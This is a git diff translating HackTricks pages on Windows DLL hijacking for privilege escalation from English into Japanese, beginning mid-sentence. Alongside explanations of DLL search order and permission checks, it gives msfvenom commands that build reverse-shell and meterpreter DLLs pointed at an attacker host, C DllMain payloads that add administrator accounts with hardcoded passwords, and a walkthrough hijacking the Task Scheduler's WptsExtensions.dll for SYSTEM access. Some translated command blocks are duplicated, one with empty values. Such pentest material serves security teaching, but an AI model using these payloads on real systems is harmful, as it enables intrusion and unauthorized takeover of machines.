that a privilege process will try to load** in some of **place where it is going to be searched**. Therefore, we will be able to **write** a dll in a **folder** where the **dll is searched before** the folder where the **original dll** is (weird case), or we will be able to **write on some folder where the dll is going to be searched** and the original **dll doesn't exist** on any folder. +### DLLの検索順序 -### Dll Search Order +一般的に、**Windowsアプリケーション**は、DLLを見つけるために**事前に定義された検索パス**を使用し、特定の順序でこれらのパスをチェックします。 DLLのハイジャックは通常、悪意のあるDLLをこれらのフォルダの1つに配置し、そのDLLが正当なDLLよりも先に見つかるようにします。この問題は、アプリケーションが必要なDLLに絶対パスを指定することで緩和することができます。 -**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.** +以下は、32ビットシステムでのDLLの検索順序です。 -In general, a **Windows application** will use **pre-defined search paths to find DLL's** and it will check these paths in a specific order. DLL hijacking usually happens by placing a malicious DLL in one of these folders while making sure that DLL is found before the legitimate one. This problem can be mitigated by having the application specify absolute paths to the DLL's that it needs. +1. アプリケーションがロードされたディレクトリ。 +2. システムディレクトリ。このディレクトリのパスを取得するには、[**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya)関数を使用します。(_C:\Windows\System32_) +3. 16ビットシステムディレクトリ。このディレクトリのパスを取得する関数はありませんが、検索されます。(_C:\Windows\System_) +4. Windowsディレクトリ。このディレクトリのパスを取得するには、[**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)関数を使用します。(_C:\Windows_) +5. 現在のディレクトリ。 +6. PATH環境変数にリストされているディレクトリ。ただし、これには**App Paths**レジストリキーで指定されたアプリケーションごとのパスは含まれません。**App Paths**キーは、DLLの検索パスの計算時には使用されません。 -You can see the **DLL search order on 32-bit** systems below: +これが**デフォルト**の検索順序で、**SafeDllSearchMode**が有効になっています。無効にするには、**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**レジストリ値を作成し、0に設定します(デフォルトは有効です)。 -1. The directory from which the application loaded. -2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_) -3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_) -4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. - 1. (_C:\Windows_) -5. The current directory. -6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path. +[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)関数が**LOAD\_WITH\_ALTERED\_SEARCH\_PATH**で呼び出される場合、検索は**LoadLibraryEx**がロードしている実行可能モジュールのディレクトリから開始されます。 -That is the **default** search order with **SafeDllSearchMode** enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry value and set it to 0 (default is enabled). +最後に、**dllは名前だけでなく絶対パスを指定してロードされることもあります**。その場合、そのdllは**そのパスだけで検索されます**(dllに依存関係がある場合、名前でロードされたとして検索されます)。 -If [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) function is called with **LOAD\_WITH\_ALTERED\_SEARCH\_PATH** the search begins in the directory of the executable module that **LoadLibraryEx** is loading. +検索順序を変更する他の方法もありますが、ここでは説明しません。 -Finally, note that **a dll could be loaded indicating the absolute path instead just the name**. In that case that dll is **only going to be searched in that path** (if the dll has any dependencies, they are going to be searched as just loaded by name). +#### Windowsドキュメントからのdll検索順序の例外 -There are other ways to alter the ways to alter the search order but I'm not going to explain them here. +* **同じモジュール名のDLLがすでにメモリにロードされている**場合、システムはロードされたDLLにリダイレクトとマニフェストをチェックし、**DLLを検索しません**。 +* DLLが実行中のアプリケーションのWindowsバージョンの**既知のDLLリスト**にある場合、**システムは既知のDLLのコピー**(および既知のDLLの依存するDLL、ある場合)を使用し、DLLの検索を行いません。現在のシステムの既知のDLLのリストについては、次のレジストリキーを参照してください:**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**。 +* DLLに依存関係がある場合、システムは最初のDLLがフルパスを指定してロードされた場合でも、**モジュール名だけでロードされたかのように依存するDLLを検索**します。 -#### Exceptions on dll search order from Windows docs +### 特権のエスカレーション -* If a **DLL with the same module name is already loaded in memory**, the system checks only for redirection and a manifest before resolving to the loaded DLL, no matter which directory it is in. **The system does not search for the DLL**. -* If the DLL is on the list of **known DLLs** for the version of Windows on which the application is running, the **system uses its copy of the known DLL** (and the known DLL's dependent DLLs, if any) **instead of searching** for the DLL. For a list of known DLLs on the current system, see the following registry key: **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**. -* If a **DLL has dependencies**, the system **searches** for the dependent DLLs as if they were loaded with just their **module names**. This is true **even if the first DLL was loaded by specifying a full path**. +**前提条件**: -### Escalating Privileges +* **他の特権で実行されるプロセス**(水平/垂直移動)を見つけることができる。 +* **dllが不足している**フォルダに**書き込み権限**を持っている(おそらく実行可能なディレクトリまたはシステムパス内のフォルダ)。 -**Requisites**: - -* **Find a process** that runs/will run as with **other privileges** (horizontal/lateral movement) that is **missing a dll.** -* Have **write permission** on any **folder** where the **dll** is going to be **searched** (probably the executable directory or some folder inside the system path). - -Yeah, the requisites are complicated to find as **by default it's kind of weird to find a privileged executable missing a dll** and it's even **more weird to have write permissions on a system path folder** (you can't by default). But, in misconfigured environments this is possible.\ -In the case you are lucky and you find yourself meeting the requirements, you could check the [UACME](https://github.com/hfiref0x/UACME) project. Even if the **main goal of the project is bypass UAC**, you may find there a **PoC** of a Dll hijaking for the Windows version that you can use (probably just changing the path of the folder where you have write permissions). - -Note that you can **check your permissions in a folder** doing: +はい、前提条件は複雑で見つけるのが難しいです。**デフォルトでは特権のある実行可能ファイルがdllが不足しているのは奇妙**であり、**システムパスのフォルダに書き込み権限を持つのはさらに奇妙**です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。\ +もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDLLハイジャックのPoCを見つけることができます。 +フォルダの**アクセス権限を確認する**には、次のコマンドを実行します: ```bash accesschk.exe -dqv "C:\Python27" icacls "C:\Python27" ``` - -And **check permissions of all folders inside PATH**: - +そして、**PATH内のすべてのフォルダのアクセス許可を確認**してください: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` +次のコマンドを使用して、実行可能ファイルのインポートとDLLのエクスポートを確認することもできます。 -You can also check the imports of an executable and the exports of a dll with: +```plaintext +dumpbin /imports +dumpbin /exports +``` +これにより、実行可能ファイルが依存しているDLLと、DLLが公開している関数が表示されます。 ```c dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` - -For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check: +特権をエスカレートするために**Dllハイジャッキングを悪用**する方法の完全なガイドについては、次を参照してください: {% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} [writable-sys-path-+dll-hijacking-privesc.md](dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md) {% endcontent-ref %} -### Automated tools +### 自動化ツール -[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)will check if you have write permissions on any folder inside system PATH.\ -Other interesting automated tools to discover this vulnerability are **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)は、システムのPATH内の任意のフォルダに書き込み権限があるかどうかをチェックします。\ +この脆弱性を発見するための他の興味深い自動化ツールは、**PowerSploitの関数**であり、_Find-ProcessDLLHijack_、_Find-PathDLLHijack_、_Write-HijackDll_です。 -### Example +### 例 -In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that Dll Hijacking comes handy in order to [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) or from[ **High Integrity to SYSTEM**](./#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ -Moreover, in the **next sectio**n you can find some **basic dll codes** that might be useful as **templates** or to create a **dll with non required functions exported**. +攻撃可能なシナリオを見つけた場合、それを成功裏に悪用するために最も重要なことの一つは、**実行可能ファイルがインポートするすべての関数を少なくともエクスポートするdllを作成する**ことです。ただし、Dllハイジャッキングは、[中間完全性レベルから高いレベル(UACのバイパス)](../authentication-credentials-uac-and-efs.md#uac)または[高い完全性からSYSTEM](./#from-high-integrity-to-system)にエスカレートするために便利です。有効なdllの作成方法の例は、次のdllハイジャッキングの研究にあります:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +さらに、**次のセクション**では、**テンプレート**として役立つ可能性のあるいくつかの**基本的なdllコード**を見つけることができます。 -## **Creating and compiling Dlls** +## **Dllの作成とコンパイル** -### **Dll Proxifying** +### **Dllプロキシ化** -Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**. +基本的に、**Dllプロキシ**は、**ロードされたときに悪意のあるコードを実行**することができるDllであり、また、**実際のライブラリにすべての呼び出しを中継**することで、**期待どおりに公開**および**動作**することができます。 -With the tool **** [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) **** or **** [**Spartacus**](https://github.com/Accenture/Spartacus) **** you can actually **indicate an executable and select the library** you want to proxify and **generate a proxified dll** or **indicate the Dll** and **generate a proxified dll**. +ツール****[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)****または****[**Spartacus**](https://github.com/Accenture/Spartacus)****を使用すると、実際のライブラリをプロキシ化するための実行可能ファイルを指定し、プロキシ化されたdllを生成するか、Dllを指定してプロキシ化されたdllを生成することができます。 ### **Meterpreter** -**Get rev shell (x64):** - +**rev shellを取得(x64):** ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` +**メータープリターの取得(x86):** -**Get a meterpreter (x86):** +```bash +msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f dll > meterpreter.dll +``` +**メータープリター(x86)の取得方法:** + +```bash +msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻撃者のIP> LPORT=<攻撃者のポート> -f dll > meterpreter.dll +``` ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` - -**Create a user (x86 I didn't see a x64 version):** - +**ユーザーの作成(x86版、x64版は見つかりませんでした):** ``` msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` +### あなた自身のもの -### Your own - -Note that in several cases the Dll that you compile must **export several functions** that are going to be loaded by the victim process, if these functions doesn't exist the **binary won't be able to load** them and the **exploit will fail**. - +注意してください。いくつかの場合、コンパイルしたDllは、被害者プロセスによってロードされる複数の関数を**エクスポートする必要があります**。これらの関数が存在しない場合、**バイナリはロードできず**、**攻撃は失敗します**。 ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ - switch(dwReason){ - case DLL_PROCESS_ATTACH: - system("whoami > C:\\users\\username\\whoami.txt"); - WinExec("calc.exe", 0); //This doesn't accept redirections like system - break; - case DLL_PROCESS_DETACH: - break; - case DLL_THREAD_ATTACH: - break; - case DLL_THREAD_DETACH: - break; - } - return TRUE; +switch(dwReason){ +case DLL_PROCESS_ATTACH: +system("whoami > C:\\users\\username\\whoami.txt"); +WinExec("calc.exe", 0); //This doesn't accept redirections like system +break; +case DLL_PROCESS_DETACH: +break; +case DLL_THREAD_ATTACH: +break; +case DLL_THREAD_DETACH: +break; +} +return TRUE; } ``` @@ -189,11 +189,11 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ - if (dwReason == DLL_PROCESS_ATTACH){ - system("cmd.exe /k net localgroup administrators user /add"); - ExitProcess(0); - } - return TRUE; +if (dwReason == DLL_PROCESS_ATTACH){ +system("cmd.exe /k net localgroup administrators user /add"); +ExitProcess(0); +} +return TRUE; } ``` @@ -205,15 +205,15 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ int owned() { - WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0); - exit(0); - return 0; +WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0); +exit(0); +return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { - owned(); - return 0; +owned(); +return 0; } ``` @@ -226,26 +226,25 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) #include void Entry (){ //Default function that is executed when the DLL is loaded - system("cmd"); +system("cmd"); } BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { - switch (ul_reason_for_call){ - case DLL_PROCESS_ATTACH: - CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); - break; - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DEATCH: - break; - } - return TRUE; +switch (ul_reason_for_call){ +case DLL_PROCESS_ATTACH: +CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); +break; +case DLL_THREAD_ATTACH: +case DLL_THREAD_DETACH: +case DLL_PROCESS_DEATCH: +break; +} +return TRUE; } ``` - -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば、**採用しています!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -253,10 +252,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ企業**で働いていますか?あなたの**会社をHackTricksで宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index e97e14a64..2d684a690 100644 --- a/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -1,105 +1,104 @@ -# Writable Sys Path +Dll Hijacking Privesc +# 書き込み可能なSys Path + Dll Hijacking Privesc
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Introduction +## はじめに -If you found that you can **write in a System Path folder** (note that this won't work if you can write in a User Path folder) it's possible that you could **escalate privileges** in the system. +もし、**システムパスフォルダに書き込みができる**ことがわかった場合(ユーザーパスフォルダに書き込みができる場合はこれは機能しません)、システム内で特権を昇格させることができる可能性があります。 -In order to do that you can abuse a **Dll Hijacking** where you are going to **hijack a library being loaded** by a service or process with **more privileges** than yours, and because that service is loading a Dll that probably doesn't even exist in the entire system, it's going to try to load it from the System Path where you can write. +それを行うためには、**特権があるサービスやプロセスがロードしているライブラリを乗っ取る**ことができる**Dll Hijacking**を悪用することができます。そして、そのサービスがシステム全体に存在しない可能性のあるDllをロードしようとするため、それを書き込み可能なシステムパスからロードしようとします。 -For more info about **what is Dll Hijackig** check: +**Dll Hijacking**についての詳細は、以下を参照してください: {% content-ref url="../dll-hijacking.md" %} [dll-hijacking.md](../dll-hijacking.md) {% endcontent-ref %} -## Privesc with Dll Hijacking +## Dll Hijackingによる特権昇格 -### Finding a missing Dll +### 不足しているDllの検出 -The first thing you need is to **identify a process** running with **more privileges** than you that is trying to **load a Dll from the System Path** you can write in. +まず、**自分よりも特権のあるプロセス**を特定し、**書き込み可能なシステムパス**から**Dllをロードしようとしているかどうか**を確認する必要があります。 -The problem in this cases is that probably thoses processes are already running. To find which Dlls are lacking the services you need to launch procmon as soon as possible (before processes are loaded). So, to find lacking .dlls do: +この場合の問題は、おそらくこれらのプロセスが既に実行されていることです。必要なサービスが欠けているDllを見つけるためには、プロセスがロードされる前にできるだけ早くprocmonを起動する必要があります。したがって、欠けている.dllを見つけるためには、次の手順を実行します: -* **Create** the folder `C:\privesc_hijacking` and add the path `C:\privesc_hijacking` to **System Path env variable**. You can do this **manually** or with **PS**: +* `C:\privesc_hijacking`フォルダを**作成**し、**システムパス環境変数**にパス`C:\privesc_hijacking`を追加します。これは**手動**で行うことも、**PS**で行うこともできます: ```powershell # Set the folder path to create and check events for $folderPath = "C:\privesc_hijacking" # Create the folder if it does not exist if (!(Test-Path $folderPath -PathType Container)) { - New-Item -ItemType Directory -Path $folderPath | Out-Null +New-Item -ItemType Directory -Path $folderPath | Out-Null } # Set the folder path in the System environment variable PATH $envPath = [Environment]::GetEnvironmentVariable("PATH", "Machine") if ($envPath -notlike "*$folderPath*") { - $newPath = "$envPath;$folderPath" - [Environment]::SetEnvironmentVariable("PATH", $newPath, "Machine") +$newPath = "$envPath;$folderPath" +[Environment]::SetEnvironmentVariable("PATH", $newPath, "Machine") } ``` - -* Launch **`procmon`** and go to **`Options`** --> **`Enable boot logging`** and press **`OK`** in the prompt. -* Then, **reboot**. When the computer is restarted **`procmon`** will start **recording** events asap. -* Once **Windows** is **started execute `procmon`** again, it'll tell you that it has been running and will **ask you if you want to store** the events in a file. Say **yes** and **store the events in a file**. -* **After** the **file** is **generated**, **close** the opened **`procmon`** window and **open the events file**. -* Add these **filters** and you will find all the Dlls that some **proccess tried to load** from the writable System Path folder: +* **`procmon`**を起動し、**`Options`** --> **`Enable boot logging`**に移動し、プロンプトで**`OK`**を押します。 +* 次に、**再起動**します。コンピュータが再起動されると、**`procmon`**ができるだけ早くイベントを記録し始めます。 +* **Windows**が**起動したら、`procmon`**を再度実行します。実行されていたことを通知し、イベントをファイルに保存するかどうかを尋ねます。**はい**と答え、**イベントをファイルに保存**します。 +* **ファイル**が**生成**されたら、開いている**`procmon`**ウィンドウを**閉じ**、イベントファイルを**開きます**。 +* 以下の**フィルタ**を追加すると、書き込み可能なシステムパスフォルダからロードを試みたすべてのDLLを見つけることができます:
-### Missed Dlls +### ミスしたDLL -Running this in a free **virtual (vmware) Windows 11 machine** I got these results: +私は無料の**仮想(VMware)Windows 11マシン**でこれらの結果を得ました:
-In this case the .exe are useless so ignore them, the missed DLLs where from: +この場合、.exeは無効なので無視し、ミスしたDLLは次のとおりです: -| Service | Dll | CMD line | +| サービス | DLL | CMDライン | | ------------------------------- | ------------------ | -------------------------------------------------------------------- | -| Task Scheduler (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | -| Diagnostic Policy Service (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | +| タスクスケジューラ(スケジュール) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` | +| 診断ポリシーサービス(DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` | | ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` | -After finding this, I found this interesting blog post that also explains how to [**abuse WptsExtensions.dll for privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows\_10\_Phantom\_DLL\_Hijacking\_-\_WptsExtensionsdll). Which is what we **are going to do now**. +これを見つけた後、この興味深いブログ記事を見つけました。[**WptsExtensions.dllを悪用して特権をエスカレーションする方法**](https://juggernaut-sec.com/dll-hijacking/#Windows\_10\_Phantom\_DLL\_Hijacking\_-\_WptsExtensionsdll)。これが今**行うこと**です。 -### Exploitation +### 攻撃 -So, to **escalate privileges** we are going to hijack the library **WptsExtensions.dll**. Having the **path** and the **name** we just need to **generate the malicious dll**. +したがって、特権を**エスカレーション**するためには、ライブラリ**WptsExtensions.dll**を乗っ取る必要があります。**パス**と**名前**がわかっているので、単に**悪意のあるdllを生成**する必要があります。 -You can [**try to use any of these examples**](../dll-hijacking.md#creating-and-compiling-dlls). You could run payloads such as: get a rev shell, add a user, execute a beacon... +[**これらの例のいずれかを使用してみてください**](../dll-hijacking.md#creating-and-compiling-dlls)。リバースシェルを取得したり、ユーザーを追加したり、ビーコンを実行したりすることができます。 {% hint style="warning" %} -Note that **not all the service are run** with **`NT AUTHORITY\SYSTEM`** some are also run with **`NT AUTHORITY\LOCAL SERVICE`** which has **less privileges** and you **won't be able to create a new user** abuse its permissions.\ -However, that user has the **`seImpersonate`** privilege, so you can use the[ **potato suite to escalate privileges**](../roguepotato-and-printspoofer.md). So, in this case a rev shell is a better option that trying to create a user. +すべてのサービスが**`NT AUTHORITY\SYSTEM`**で実行されているわけではないことに注意してください。一部は**`NT AUTHORITY\LOCAL SERVICE`**で実行され、権限が制限されているため、新しいユーザーを作成することはできません。\ +ただし、そのユーザーには**`seImpersonate`**特権があり、[**potato suiteを使用して特権をエスカレーション**](../roguepotato-and-printspoofer.md)することができます。したがって、この場合はリバースシェルがユーザーを作成しようとするよりも良いオプションです。 {% endhint %} -At the moment of writing the **Task Scheduler** service is run with **Nt AUTHORITY\SYSTEM**. +執筆時点では、**タスクスケジューラ**サービスは**Nt AUTHORITY\SYSTEM**で実行されています。 -Having **generated the malicious Dll** (_in my case I used x64 rev shell and I got a shell back but defender killed it because it was from msfvenom_), save it in the writable System Path with the name **WptsExtensions.dll** and **restart** the computer (or restart the service or do whatever it takes to rerun the affected service/program). +**悪意のあるDLLを生成**したら(私の場合はx64リバースシェルを使用し、シェルを取得しましたが、ディフェンダーによって殺されました)、それを書き込み可能なシステムパスに**WptsExtensions.dll**という名前で保存し、コンピュータを**再起動**します(またはサービスを再起動するか、影響を受けるサービス/プログラムを再実行するために必要な操作を行います)。 -When the service is re-started, the **dll should be loaded and executed** (you can **reuse** the **procmon** trick to check if the **library was loaded as expected**). +サービスが再起動されると、**dllがロードされ実行される**はずです(ライブラリが予想どおりにロードされたかどうかを確認するために**procmon**のトリックを再利用できます)。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* 